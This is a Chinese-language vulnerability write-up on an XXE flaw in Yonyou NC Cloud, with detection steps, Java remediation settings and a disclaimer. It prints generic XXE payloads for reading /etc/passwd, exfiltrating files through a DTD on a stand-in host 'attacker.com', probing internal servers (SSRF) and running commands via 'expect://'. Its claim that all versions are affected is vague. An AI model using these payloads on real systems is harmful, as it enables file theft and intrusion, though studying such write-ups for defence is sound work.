漏洞复现--用友NC Cloud XXE
字数 914 2025-08-18 11:36:53
用友NC Cloud XXE漏洞复现与分析
漏洞概述
用友NC Cloud是一款面向大型企业集团的管理软件,存在XXE(XML External Entity)漏洞,攻击者可以利用该漏洞读取服务器上的任意文件,甚至可能实现远程代码执行。
漏洞原理
XXE(XML External Entity Injection)即XML外部实体注入,当应用程序解析XML输入时,没有禁止外部实体的加载,导致攻击者可以通过构造恶意XML文档读取任意文件或执行服务器端请求伪造(SSRF)攻击。
受影响版本
根据FreeBuf文章,受影响的用友NC Cloud版本包括:
- 用友NC Cloud全版本(具体版本号需进一步确认)
漏洞复现步骤
环境准备
- 搭建用友NC Cloud测试环境
- 准备Burp Suite或其他抓包工具
- 准备XXE攻击Payload
漏洞检测
-
定位XML处理端点:
- 通过抓包分析,寻找应用程序中处理XML数据的接口
- 常见于WebService接口、文件上传接口或数据传输接口
-
构造测试Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>
- 发送恶意请求:
- 将构造的XML作为请求体发送到目标接口
- 观察响应中是否包含/etc/passwd文件内容
漏洞利用
- 读取任意文件:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<data>&send;</data>
- 服务器端请求伪造(SSRF):
<!DOCTYPE test [
<!ENTITY % xxe SYSTEM "http://internal-server/">
%xxe;
]>
- 远程代码执行(在某些条件下):
<!DOCTYPE rce [
<!ELEMENT rce ANY>
<!ENTITY % sp SYSTEM "expect://id">
]>
<rce>&sp;</rce>
漏洞修复方案
-
禁用外部实体解析:
- 在Java中,设置以下属性:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); -
输入过滤:
- 对用户提交的XML数据进行严格过滤
- 检查并过滤DOCTYPE声明
-
使用安全的XML解析器:
- 使用最新版本的XML解析库
- 考虑使用JSON替代XML
-
最小权限原则:
- 运行应用程序的账户应具有最小必要权限
- 限制对敏感文件的访问
漏洞验证与测试
-
本地测试:
- 在测试环境中验证漏洞存在性
- 确认修复措施的有效性
-
自动化扫描:
- 使用OWASP ZAP或Burp Suite Professional进行自动化扫描
- 编写自定义脚本检测XXE漏洞
参考链接
免责声明
本文仅用于安全研究与教育目的,未经授权对他人系统进行测试是违法行为。在实际应用中,请确保获得系统所有者书面授权后进行安全测试。